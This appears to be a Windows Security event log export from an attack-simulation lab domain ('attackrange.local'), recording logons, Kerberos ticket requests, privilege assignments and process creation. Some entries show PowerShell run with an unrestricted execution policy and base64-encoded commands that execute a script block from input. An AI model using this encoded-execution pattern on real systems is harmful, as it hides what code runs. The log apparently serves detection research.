	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250463
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10E1DB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250462
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10E1DB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250461
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250460
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250459
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250458
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1204
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250457
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Process Information:
	New Process ID:		0x1204
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250456
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250455
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250454
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250453
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250452
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250568
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1308
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13c4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250567
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x112531

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250566
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x112531
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250565
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250564
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250563
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250562
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x570
	Creator Process Name:	C:\Windows\System32\cmd.exe
